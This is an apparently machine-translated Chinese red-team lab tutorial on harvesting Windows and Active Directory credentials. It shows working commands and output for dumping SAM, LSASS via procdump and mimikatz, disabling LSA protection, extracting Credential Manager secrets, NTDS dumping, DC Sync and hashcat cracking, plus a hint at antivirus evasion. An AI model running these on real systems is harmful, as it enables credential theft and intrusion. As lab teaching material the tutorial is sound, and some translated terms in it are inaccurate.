Introduction

欢迎来到凭证收集

该会议室讨论红队成员利用获得的凭证执行横向移动并访问 AD 环境中的资源的基础知识。我们将展示如何获取、重用和模拟用户凭据。

凭据收集包括获取登录信息、帐户名和密码等凭据的技术。它是一种从系统中不同位置(例如明文文件、注册表、内存转储等)提取凭证信息的技术。

作为红队成员,获得合法凭证有以下好处:

  • 它可以提供对系统的访问(横向移动)。
  • 这使得我们的行为更难被发现。
  • 它提供了创建和管理帐户的机会,以帮助实现红队参与的最终目标。

学习目标

  • 了解从本地Windows(SAM数据库)提取凭据的方法
  • 了解如何在本地和远程访问 Windows 内存并转储明文密码和身份验证票证。
  • Windows 凭据管理器简介以及如何提取凭据。
  • 了解提取域控制器凭据的方法
  • 枚举本地管理员密码解决方案 (LAPS) 功能。
  • 介绍导致获取凭据的 AD 攻击。

房间先决条件

我们强烈建议您先完成以下 Active Directory 房间,然后再深入此房间:

Credentials Harvesting

凭据收集是获取用户和系统凭据访问权限的术语。这是一种查找或窃取存储的凭据的技术,包括网络嗅探,攻击者可以在网络嗅探中捕获传输的凭据。

凭证可以有多种不同的形式,例如:

  • 帐户详细信息(用户名和密码)
  • 包括 NTLM 哈希等的哈希。
  • 身份验证票证:票证授予票证(TGT)、票证授予服务器(TGS)
  • 任何有助于登录系统的信息(私钥等)

一般来说,凭证收集有两种类型:外部和内部。外部凭据收集很可能涉及网络钓鱼电子邮件和其他技术来诱骗用户输入其用户名和密码。如果您想了解有关网络钓鱼电子邮件的更多信息,我们建议尝试 THM 网络钓鱼room。通过内部网络获取凭据使用不同的方法。

在这个房间里,重点是从内部角度收集凭证,其中威胁行为者已经破坏了系统并获得了初始访问权限。

Credential Access

凭据访问是攻击者可能在受感染的系统中找到凭据并获取用户凭据的访问权限的地方。它可以帮助对手重用它们或冒充用户的身份。这是横向移动和访问其他资源(例如其他应用程序或系统)的重要一步。优先获取合法用户凭据,而不是使用 CVE 来利用系统。

如需了解更多信息,您可以访问 MITRE ATT&CK 框架 (TA0006)。

凭证不安全地存储在系统中的各个位置:

  • 明文文件
  • 数据库文件
  • 内存
  • 密码管理器
  • 企业保管库
  • 活动目录
  • 网络嗅探

让我们多讨论一下吧!

明文文件

攻击者可能会在受感染的计算机上搜索本地或远程文件系统中的凭据。明文文件可能包含用户创建的敏感信息,其中包含密码、私钥等。MITRE ATT&CK 框架将其定义为 不安全的凭证:文件中的凭证 ([T1552.001](https://attack .mitre.org/techniques/T1552/001/))。

以下是攻击者可能感兴趣的一些明文文件类型:

  • 命令历史记录
  • 配置文件(Web App、FTP 文件等)
  • 与 Windows 应用程序相关的其他文件(互联网浏览器、电子邮件客户端等)
  • 备份文件
  • 共享文件和文件夹
  • 登记处
  • 源代码

作为历史命令的示例,PowerShell 将执行的 PowerShell 命令保存在以下路径的用户配置文件中的历史文件中:C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

检查用户正在做什么或查找敏感信息可能是值得的。另一个例子是寻找有趣的信息。例如,以下命令是在Windows注册表中查找“password”关键字。

在注册表中搜索“密码”关键字

           c:\Users\user> reg query HKLM /f password /t REG_SZ /s
#OR
C:\Users\user> reg query HKCU /f password /t REG_SZ /s

数据库文件

应用程序利用数据库文件来读取或写入设置、配置或凭据。数据库文件通常存储在Windows操作系统本地。这些文件是检查和寻找凭据的绝佳目标。如需了解更多信息,我们建议查看 THM 房间:Breaching AD。它包含从本地 McAfee Endpoint 数据库文件中提取凭据的展示示例。

密码管理器

密码管理器是一种用于存储和管理本地和互联网网站及服务的用户登录信息的应用程序。由于它涉及用户数据,因此必须安全存储以防止未经授权的访问。

密码管理器应用程序示例:

  • 内置密码管理器(Windows)
  • 第三方:KeePass、1Password、LastPass

然而,这些应用程序中发现了错误配置和安全缺陷,使攻击者可以访问存储的数据。在枚举阶段可以使用各种工具来获取 Internet 浏览器和桌面应用程序使用的密码管理器应用程序中的敏感数据。

本会议室将讨论如何访问 Windows 凭据管理器并提取密码。

内存转储

操作系统的内存是属于 Windows 操作系统、用户和其他应用程序的敏感信息的丰富来源。数据在运行时或执行期间加载到内存中。因此,访问内存仅限于完全控制系统的管理员用户。

以下是内存存储敏感数据的示例,包括:

  • 明文凭证
  • 缓存密码
  • AD门票

在这个房间里,我们将讨论如何访问内存并提取明文密码和身份验证票证。

活动目录

Active Directory存储了大量与用户、组、计算机等相关的信息。因此,枚举Active Directory环境是红队评估的重点之一。 Active Directory 具有可靠的设计,但管理员的错误配置使其容易受到本房间所示的各种攻击。

以下是一些可能泄露用户凭据的 Active Directory 错误配置。

  • 用户描述:管理员在新员工的描述中设置密码并将其留在那里,这使得该帐户容易受到未经授权的访问。
  • 组策略 SYSVOL:泄露的加密密钥让攻击者可以访问管理员帐户。检查任务 8 以获取有关 SYSVOL 易受攻击版本的更多信息。
  • NTDS: 包含 AD 用户的凭据,使其成为攻击者的目标。
  • AD 攻击: 错误配置使 AD 容易受到各种攻击,我们将在任务 9 中讨论。

网络嗅探

获得对目标网络的初始访问权限使攻击者能够对本地计算机(包括 AD 环境)执行各种网络攻击。针对网络协议的中间人攻击使攻击者可以在网络内创建流氓或欺骗性受信任资源,以窃取身份验证信息,例如 NTLM 哈希值。

Local Windows Credentials

一般来说,Windows操作系统提供两种类型的用户帐户:本地和域。本地用户的详细信息存储在本地 Windows 文件系统中,而域用户的详细信息存储在集中式 Active Directory 中。此任务讨论本地用户帐户的凭据并演示如何获取它们。

击键

键盘记录器是一种用于监视和记录键盘打字活动的软件或硬件设备。键盘记录器最初是为了合法目的而设计的,例如软件开发或家长控制的反馈。然而,它们可能被滥用来窃取数据。作为红队成员,在繁忙的交互式环境中通过键盘记录器寻找凭据是一个不错的选择。如果我们知道受感染的目标有登录用户,我们可以使用 Metasploit 框架或其他工具来执行键盘记录。

我们有一个在另一个 THM 房间中使用 Metasploit 通过击键来利用用户的用例示例。有关更多信息,您应该查看 THM 利用 AD(任务 5)。

安全客户经理 (SAM)

SAM 是一个 Microsoft Windows 数据库,其中包含本地帐户信息,例如用户名和密码。 SAM 数据库以加密格式存储这些详细信息,使其更难检索。而且,当Windows操作系统运行时,任何用户都无法读取和访问它。然而,转储 SAM 数据库内容的方法和攻击有多种。

首先,确保您已部署提供的虚拟机,然后确认我们无法复制或读取 c:\Windows\System32\config\sam 文件:

确认无法访问 SAM 数据库

 C:\Windows\system32>type c:\Windows\System32\config\sam
type c:\Windows\System32\config\sam
The process cannot access the file because it is being used by another process.

C:\Windows\System32> copy c:\Windows\System32\config\sam C:\Users\Administrator\Desktop\
copy c:\Windows\System32\config\sam C:\Users\Administrator\Desktop\
The process cannot access the file because it is being used by another process.
0 file(s) copied.

Metasploit 的 HashDump

第一种方法是使用内置的 Metasploit 框架功能 hashdump 来获取 SAM 数据库内容的副本。 Metasploit 框架使用内存中代码注入 LSASS.exe 进程来转储副本哈希。有关 hashdump 的更多信息,您可以访问 rapid7 博客。我们将在另一个任务中讨论直接从 LSASS.exe 进程转储凭据!

​ Dumping the SAM database content

           meterpreter > getuid
Server username: THM\Administrator
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3b784d80d18385cea5ab3aa2a4261:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ec44ddf5ae100b898e9edab74811430d:::
CREDS-HARVESTIN$:1008:aad3b435b51404eeaad3b435b51404ee:443e64439a4b7fe780db47fc06a3342d:::

卷影复制服务

另一种方法使用 Microsoft 卷影复制服务,该服务有助于在应用程序在卷上读/写时执行卷备份。您可以访问 Microsoft 文档页面 了解有关该服务的更多信息。

更具体地说,我们将使用 wmic 创建卷影副本。这必须通过具有管理员权限的命令提示符来完成,如下所示,

  1. 使用管理员权限运行标准 cmd.exe 提示符。
    2.执行wmic命令创建C:盘的副本影子
  2. 验证步骤 2 中的创建是否可用。
  3. 从我们在步骤 2 中创建的卷中复制 SAM 数据库

现在让我们应用上面讨论的内容并以管理员权限运行 cmd.exe。然后执行以下wmic命令:

使用 WMIC 创建卷 C 的卷影副本

           C:\Users\Administrator>wmic shadowcopy call create Volume='C:\'
Executing (Win32_ShadowCopy)->create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ReturnValue = 0;
ShadowID = "{D8A11619-474F-40AE-A5A0-C2FAA1D78B85}";
};

成功执行命令后,让我们使用卷影复制服务管理命令行工具“vssadmin”来列出并确认我们拥有“C:”卷的卷影副本。

列出可用的影子卷

           C:\Users\Administrator>vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Contents of shadow copy set ID: {0c404084-8ace-4cb8-a7ed-7d7ec659bb5f}
Contained 1 shadow copies at creation time: 5/31/2022 1:45:05 PM
Shadow Copy ID: {d8a11619-474f-40ae-a5a0-c2faa1d78b85}
Original Volume: (C:)\\?\Volume{19127295-0000-0000-0000-100000000000}\
Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
Originating Machine: Creds-Harvesting-AD.thm.red
Service Machine: Creds-Harvesting-AD.thm.red
Provider: 'Microsoft Software Shadow Copy provider 1.0'
Type: ClientAccessible
Attributes: Persistent, Client-accessible, No auto release, No writers, Differential


输出显示我们已成功创建卷影副本卷 (C:),路径如下:“\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1”。

如前所述,SAM 数据库使用 RC4AES 加密算法进行加密。为了解密它,我们需要一个解密密钥,该密钥也存储在文件系统中的“c:\Windows\System32\Config\system”中。

现在让我们将两个文件(sam 和 system)从我们生成的卷影副本卷复制到桌面,如下所示,

从Shadow Volume复制SAM和SYSTEM文件

           C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
1 file(s) copied.

C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system
1 file(s) copied.

现在我们有了两个必需的文件,用您最喜欢的方法将它们传输到 AttackBox(SCP 应该可以)。

注册表蜂巢

转储 SAM 数据库内容的另一种可能方法是通过 Windows 注册表。 Windows 注册表还存储 Windows 服务使用的一些 SAM 数据库内容的副本。幸运的是,我们可以使用 reg.exe 工具保存 Windows 注册表的值。如前所述,我们需要两个文件来解密 SAM 数据库的内容。确保您以管理员权限运行命令提示符。

从注册表中保存SAM和SYSTEM文件

           C:\Users\Administrator\Desktop>reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg
The operation completed successfully.

C:\Users\Administrator\Desktop>reg save HKLM\system C:\users\Administrator\Desktop\system-reg
The operation completed successfully.

C:\Users\Administrator\Desktop>

这次我们使用 Impacket 工具之一来解密:“secretsdump.py”,该工具已安装在 AttackBox 中。 Impacket SecretsDump 脚本使用不同的技术从本地和远程系统中提取凭据。

将 SAM 和系统文件移至 AttackBox 并运行以下命令:

在本地使用 Impacket SecretsDump 脚本解密 SAM 数据库

           user@machine:~# python3.9 /opt/impacket/examples/secretsdump.py -sam /tmp/sam-reg -system /tmp/system-reg LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3a787a80d08385cea7fb4aa2a4261:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...

请注意,我们使用了从 Windows 注册表中提取的 SAM 和系统文件。 -sam 参数用于指定 Windows 机器上转储的 sam 文件的路径。 “-system”参数用于系统文件的路径。我们在命令末尾使用“LOCAL”参数来解密本地 SAM 文件,因为该工具可以处理其他类型的解密。

请注意,如果我们将输出与从 Metasploit 的 Hashdump 获得的 NTLM 哈希值进行比较,结果会有所不同。原因是其他帐户属于 Active Directory,它们的信息存储在我们转储的系统文件中。要解密它们,我们需要从 Windows 文件中转储 SECURITY 文件,其中包含解密 Active Directory 帐户所需的文件。

一旦我们获得了 NTLM 哈希值,如果它们是可猜测的,我们可以尝试使用 Hashcat 来破解它们,或者我们可以使用不同的技术来使用哈希值来模拟用户。

Local Security Authority Subsystem Service (LSASS)

什么是LSASS?

本地安全机构服务器服务 (LSASS) 是一个 Windows 进程,用于处理操作系统安全策略并在系统上强制执行。它验证登录帐户并确保密码、哈希值和 Kerberos 票证。 Windows 系统将凭据存储在 LSASS 进程中,使用户能够访问网络资源,例如文件共享、SharePoint 站点和其他网络服务,而无需在每次用户连接时输入凭据。

因此,LSASS 进程对于红队来说是一个诱人的目标,因为它存储有关用户帐户的敏感信息。 LSASS 通常被滥用来转储凭据以提升权限、窃取数据或横向移动。幸运的是,如果我们有管理员权限,我们可以转储 LSASS 的进程内存。 Windows 系统允许我们创建转储文件,即给定进程的快照。这可以通过桌面访问 (GUI) 或命令提示符来完成。这种攻击在 MITRE ATT&CK 框架中定义为“操作系统凭证转储:LSASS 内存 (T1003)”。

图形用户界面 (GUI)

要使用 GUI 转储任何正在运行的 Windows 进程,请打开任务管理器,然后从“详细信息”选项卡中找到所需的进程,右键单击它,然后选择“创建转储文件”。

Dumping lsass.exe process Using Task Manager

转储过程完成后,将显示一条弹出消息,其中包含转储文件的路径。现在复制该文件并将其传输到 AttackBox 以离线提取 NTLM 哈希值。

注意:如果我们在提供的虚拟机上尝试此操作,则第一次运行时您应该会收到错误,直到我们在此任务后面的 Protected LSASS 部分修复注册表值。

将转储的进程复制到 Mimikatz 文件夹。

​ Copying the LSASS Dumped file

   C:\Users\Administrator>copy C:\Users\ADMINI~1\AppData\Local\Temp\2\lsass.DMP C:\Tools\Mimikatz\lsass.DMP
1 file(s) copied.

系统内部套件

如果我们无法使用 GUI,则转储进程的另一种方法是使用 ProcDump。 ProcDump 是一个从命令提示符运行的 Sysinternals 进程转储实用程序。 SysInternals Suite 已安装在提供的计算机中,位于以下路径:c:\Tools\SysinternalsSuite

我们可以指定一个正在运行的进程(在我们的例子中是 lsass.exe)进行转储,如下所示:

​ Dumping the LSASS Process using procdump.exe

           c:\>c:\Tools\SysinternalsSuite\procdump.exe -accepteula -ma lsass.exe c:\Tools\Mimikatz\lsass_dump

ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[09:09:33] Dump 1 initiated: c:\Tools\Mimikatz\lsass_dump-1.dmp
[09:09:33] Dump 1 writing: Estimated dump file size is 162 MB.
[09:09:34] Dump 1 complete: 163 MB written in 0.4 seconds
[09:09:34] Dump count reached.

请注意,转储过程正在写入磁盘。转储 LSASS 进程是对手使用的一项已知技术。因此,反病毒产品可能会将其标记为恶意。在现实世界中,您可能会更有创意,编写代码来加密或实现绕过反病毒产品的方法。

MImikatz

Mimikatz 是一个众所周知的工具,用于使用各种技术从内存中提取密码、哈希值、PIN 和 Kerberos 票证。 Mimikatz 是一种后利用工具,可以实现其他有用的攻击,例如传递哈希、传递票证或构建 Golden Kerberos 票证。 Mimikatz 处理操作系统内存来访问信息。因此,它需要管理员和系统权限才能转储内存并提取凭据。

我们将使用“Mimikatz”工具来提取 lsass.exe 进程的内存转储。我们为您提供了必要的工具,可以在以下位置找到它们:c:\Tools\Mimikatz

请记住,LSASS 进程作为系统运行。因此,为了访问用户的哈希值,我们需要系统或本地管理员权限。因此,打开命令提示符并以管理员身份运行它。然后,执行 mimikatz 二进制文件,如下所示:

​ Runing mimikatz With Admin Privielges

           C:\Tools\Mimikatz> mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #18362 Jul 10 2019 23:09:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz #

在转储内存以获取已兑现的凭据和哈希值之前,我们需要启用 SeDebugPrivilege 并检查当前的内存访问权限。可以通过执行“privilege::debug”命令来完成,如下所示,

​ Checking the Current Permission to Access Memory

           mimikatz # privilege::debug
Privilege '20' OK

授予权限后,我们可以使用 sekurlsa::logonpasswords 访问内存以转储 lsass.exe 进程中所有缓存的密码和哈希值。如果我们在提供的虚拟机上尝试此操作,它将无法工作,直到我们在下一节中修复它。

​ Dumping the Stored Clear-text Passwords

           mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 515377 (00000000:0007dd31)
Session : RemoteInteractive from 3
User Name : Administrator
Domain : THM
Logon Server : CREDS-HARVESTIN
Logon Time : 6/3/2022 8:30:44 AM
SID : S-1-5-21-1966530601-3185510712-10604624-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : THM
* NTLM : 98d3a787a80d08385cea7fb4aa2a4261
* SHA1 : 64a137cb8178b7700e6cffa387f4240043192e72
* DPAPI : bc355c6ce366fdd4fd91b54260f9cf70
...

Mimikatz 列出了许多有关帐户和机器的信息。如果我们仔细检查管理员用户的主要部分,我们可以看到我们有一个 NTLM 哈希。

注意 要获取用户的哈希值,用户(受害者)必须已登录到系统,并且用户的凭据已被缓存。

受保护的LSASS

2012 年,Microsoft 实施了 LSA 保护,以防止 LSASS 被访问以从内存中提取凭据。此任务将展示如何使用 Mimikatz 禁用 LSA 保护并从内存中转储凭证。要启用LSASS保护,我们可以将HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa中的注册表RunAsPPL DWORD值修改为1。

步骤与上一节类似,以管理员权限运行 Mimikatz 执行文件并启用调试模式。如果启用了 LSA 保护,执行“sekurlsa::logonpasswords”命令时会出现错误。

​ Failing to Dump Stored Password Due to the LSA Protection

           mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

该命令返回 0x00000005 错误代码消息(访问被拒绝)。幸运的是,Mimikatz 提供了一个 mimidrv.sys 驱动程序,该驱动程序在内核级别工作以禁用 LSA 保护。我们可以通过执行“!+”将其导入Mimikatz,如下所示,

​ Loading the mimidrv Driver into Memory

           mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started

注意:如果此操作因“isFileExist”错误而失败,请退出 mimikatz,导航到“C:\Tools\Mimikatz\”并再次运行该命令。

加载驱动程序后,我们可以通过执行以下 Mimikatz 命令来禁用 LSA 保护:

​ Removing the LSA Protection

           mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 528 -> 00/00 [0-0-0]

现在,如果我们尝试再次运行“sekurlsa::logonpasswords”命令,它必须成功执行并显示内存中缓存的凭据。

Windows Credential Manager

此任务介绍 Windows 凭据管理器,并讨论利用它来转储系统凭据的技术。

什么是凭证管理器?

凭据管理器是一项 Windows 功能,用于存储网站、应用程序和网络的登录敏感信息。它包含登录凭据,例如用户名、密码和互联网地址。凭证类别有四种:

  • Web 凭据包含存储在 Internet 浏览器或其他应用程序中的身份验证详细信息。
  • Windows 凭据包含 Windows 身份验证详细信息,例如 NTLM 或 Kerberos。
  • 通用凭据包含基本身份验证详细信息,例如明文用户名和密码。
  • 基于证书的凭据:基于认证的详细信息。

请注意,身份验证详细信息存储在用户的文件夹中,并且不会在 Windows 用户帐户之间共享。然而,它们被缓存在内存中。

访问凭证管理器

我们可以通过 GUI(控制面板 -> 用户帐户 -> 凭据管理器)或命令提示符访问 Windows 凭据管理器。在此任务中,重点将更多地放在 GUI 不可用的命令提示符场景上。

Windows Credential Manager

我们将使用 Microsoft 凭据管理器“vaultcmd”实用程序。让我们开始枚举是否有任何存储的凭据。首先,我们列出 Windows 目标中当前可用的 Windows 保管库。

​ Listing the Available Credentials from the Credentials Manager

           C:\Users\Administrator>vaultcmd /list
Currently loaded vaults:
Vault: Web Credentials
Vault Guid:4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

Vault: Windows Credentials
Vault Guid:77BC582B-F0A6-4E15-4E80-61736B6F3B29
Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault

默认情况下,Windows 有两个保管库,一个用于 Web,另一个用于 Windows 计算机凭据。上面的输出确认我们有两个默认的保管库。

让我们通过使用“/listproperties”运行Vaultcmd命令来检查Web凭据保管库中是否有任何存储的凭据。

检查“Web 凭据”中是否有任何存储的凭据。

           C:\Users\Administrator>VaultCmd /listproperties:"Web Credentials"
Vault Properties: Web Credentials
Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Number of credentials: 1
Current protection method: DPAPI

输出显示我们在指定的保管库中存储了一份凭证。现在让我们尝试列出有关存储的凭据的更多信息,如下所示,

​ Listing Credentials Details for “Web Credentials”

           C:\Users\Administrator>VaultCmd /listcreds:"Web Credentials"
Credentials in vault: Web Credentials

Credential schema: Windows Web Password Credential
Resource: internal-app.thm.red
Identity: THMUser Saved By: MSEdge
Hidden: No
Roaming: Yes

凭证转储

VaultCmd 无法显示密码,但我们可以依赖其他 PowerShell 脚本,例如 Get-WebCredentials.ps1,它已包含在附加的 VM 中。

确保使用旁路策略执行 PowerShell,将其作为模块导入,如下所示,

​ Getting Clean-text Password from Web Credentials

           C:\Users\Administrator>powershell -ex bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator> Import-Module C:\Tools\Get-WebCredentials.ps1
PS C:\Users\Administrator> Get-WebCredentials

UserName Resource Password Properties
-------- -------- -------- ----------
THMUser internal-app.thm.red Password! {[hidden, False], [applicationid, 00000000-0000-0000-0000-000000000000], [application, MSEdge]}

输出显示我们获得了访问内部应用程序的用户名和密码。

运行方式

利用存储的凭据的另一种方法是使用 RunAs。 RunAs是一个命令行内置工具,允许在不同用户的权限下运行Windows应用程序或工具。 RunAs 工具具有可在 Windows 系统中使用的各种命令参数。 “/savecred”参数允许您将用户的凭据保存在 Windows 凭据管理器(在 Windows 凭据部分下)中。因此,下次我们以同一用户身份执行时,runas 将不会要求输入密码。

让我们将其应用到连接的 Windows 计算机上。枚举存储的凭据的另一种方法是使用“cmdkey”,它是一个用于创建、删除和显示存储的 Windows 凭据的工具。通过提供“/list”参数,我们可以显示所有存储的凭据,或者我们可以指定凭据以显示更多详细信息“/list:computername”。

​ Enumerating for Stored Windows Credentials

           C:\Users\thm>cmdkey /list

Currently stored credentials:

Target: Domain:interactive=thm\thm-local
Type: Domain Password
User: thm\thm-local

输出显示我们有一个存储为“thm\thm-local”用户的域密码。请注意,存储的凭据也可以用于其他服务器。现在让我们使用 runas 以“thm-local”用户身份执行 Windows 应用程序。

​ Run CMD.exe As a User with the /savecred argument

           C:\Users\thm>runas /savecred /user:THM.red\thm-local cmd.exe
Attempting to start cmd.exe as user "THM.red\thm-local" ...

将弹出一个新的 cmd.exe,并显示可供使用的命令提示符。现在运行 whoami 命令以确认我们正在所需的用户下运行。在c:\Users\thm-local\Saved Games\flag.txt中有一个flag,尝试阅读它并回答下面的问题。

mimikatz

Mimikatz 是一个可以从内存中转储存储在凭证管理器中的明文密码的工具。这些步骤与上一节(内存转储)中显示的步骤类似,但我们可以指定仅这次显示凭据管理器部分。

Dumping Memory for Credentials Manager

           C:\Users\Administrator>c:\Tools\Mimikatz\mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::credman

将此技术应用于所连接的机器并回答以下问题。

本任务中讨论的技术也可以通过其他工具来完成,例如 Empire、Metasploit 等。您可以进行自己的研究来扩展您的知识。

Domain Controller

此任务讨论本地和远程转储域控制器哈希所需的步骤。

NTDS域控制器

新技术目录服务 (NTDS) 是一个包含所有 Active Directory 数据的数据库,包括对象、属性、凭据等。NTDS.DTS 数据由三个表组成,如下所示:

  • 模式表:它包含对象的类型及其关系。
  • 链接表:它包含对象的属性及其值。
  • 数据类型:包含用户和组。

NTDS 默认位于“C:\Windows\NTDS”,并且经过加密以防止从目标计算机提取数据。不允许从正在运行的计算机访问 NTDS.dit 文件,因为该文件由 Active Directory 使用并被锁定。但是,有多种方法可以访问它。此任务将讨论如何使用 ntdsutil 和 Diskshadow 工具获取 NTDS 文件的副本,以及最后如何转储文件的内容。需要注意的是,解密 NTDS 文件需要系统启动密钥来尝试解密存储在“SECURITY”文件系统中的 LSA 隔离凭据。因此,我们还必须转储包含所有解密所需文件的安全文件。

Ntdsutil

Ntdsutil 是一个 Windows 实用程序,用于管理和维护 Active Directory 配置。它可以用于各种场景,例如

  • 恢复 Active Directory 中已删除的对象。
  • 对AD数据库进行维护。
  • 活动目录快照管理。
  • 设置目录服务还原模式 (DSRM) 管理员密码。

有关 Ntdsutil 的更多信息,您可以访问 Microsoft 文档[页面](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and- 2012/cc753343(v=ws.11))。

本地转储(无凭证)

如果您没有可用的凭据但具有域控制器的管理员访问权限,通常会执行此操作。因此,我们将依靠Windows实用程序转储NTDS文件并离线破解它们。作为一个要求,首先,我们假设我们拥有域控制器的管理员访问权限。

要成功转储 NTDS 文件的内容,我们需要以下文件:

  • C:\Windows\NTDS\ntds.dit
  • C:\Windows\System32\config\SYSTEM
  • C:\Windows\System32\config\SECURITY

以下是一个单行 PowerShell 命令,用于使用“C:\temp”目录中的 Ntdsutil 工具转储 NTDS 文件。

​ Dumping the content of the NTDS file from the Victim Machine

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

现在,如果我们检查“c:\temp”目录,我们会看到两个文件夹:Active Directory 和registry,其中包含我们需要的三个文件。将它们传输到 AttackBox 并运行 Secretsdump.py 脚本以从转储的内存文件中提取哈希值。

本地从 NTDS 中提取哈希值

user@machine$ python3.9 /opt/impacket/examples/secretsdump.py -security path/to/SECURITY -system path/to/SYSTEM -ntds path/to/ntds.dit local

远程转储(带凭证)

在上一节中,我们讨论了如何在没有凭据的情况下从内存中获取哈希值。在此任务中,我们将展示如何远程转储系统和域控制器哈希值,这需要凭据,例如密码或 NTLM 哈希值。我们还需要具有域控制器管理访问权限或特殊权限的用户凭据,如 DC 同步部分中所述。

DC Sync

DC 同步是一种在 Active Directory 环境中执行的流行攻击,用于远程转储凭据。当具有以下 AD 权限的帐户(具有必要权限的特殊帐户)或 AD 管理员帐户受到威胁时,此攻击就会起作用:

  • 复制目录更改
  • 复制目录全部更改
  • 复制过滤集中的目录更改

攻击者利用这些配置来执行域复制,通常称为“DC 同步”或域控制器同步。有关 DC Sync 攻击的更多信息,您可以访问 THM Persisting AD 房间(任务 2)。

持久AD机房使用Mimikatz工具执行DC同步攻击。让我们使用不同的工具(例如 Impacket SecretsDump 脚本)来演示攻击。

执行 DC 同步攻击

           user@machine$ python3.9 /opt/impacket/examples/secretsdump.py -just-dc THM.red/<AD_Admin_User>@MACHINE_IP 
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[****REMOVED****]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:[****REMOVED****]:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[****REMOVED****]:::
thm.red\thm:1114:aad3b435b51404eeaad3b435b51404ee:[****REMOVED****]:::

让我们进一步解释一下该命令。

  • -just-dc 参数用于提取 NTDS 数据。
  • thm.red/AD_Admin_User 是经过身份验证的域用户,格式为(域/用户)。

请注意,如果我们只想转储 NTLM 哈希值,那么我们可以使用“-just-dc-ntlm”参数,如下所示,

​ The DC Sync Attack to Dump NTLM Hashes

user@machine$ python3.9 /opt/impacket/examples/secretsdump.py -just-dc-ntlm THM.red/<AD_Admin_User>@MACHINE_IP

一旦我们获得了哈希值,我们就可以使用特定用户的哈希值来冒充他,或者使用破解工具(例如“hashcat”)来破解哈希值。我们可以使用 hashcat -m 1000 模式来破解 Windows NTLM 哈希值,如下所示:

​ Cracking the Hashes

user@machine$ hashcat -m 1000 -a 0 /path/to/ntlm_hashes.txt /path/to/wordlist/such/as/rockyou.txt

Local Administrator Password Solution (LAPS)

此任务讨论如果配置并启用 LAPS 功能,如何在 Active Directory 环境中枚举和获取本地管理员密码。

组策略首选项 (GPP)

Windows 操作系统有一个内置管理员帐户,可以使用密码进行访问。在拥有多台计算机的大型 Windows 环境中更改密码具有挑战性。因此,Microsoft 实施了一种使用组策略首选项 (GPP) 跨工作站更改本地管理员帐户的方法。

GPP 是一种允许管理员使用嵌入式凭据创建域策略的工具。部署 GPP 后,会在 SYSVOL 文件夹中创建不同的 XML 文件。 SYSVOL 是 Active Directory 的重要组件,它在 NTFS 卷上创建一个共享目录,所有经过身份验证的域用户都可以通过读取权限访问该目录。

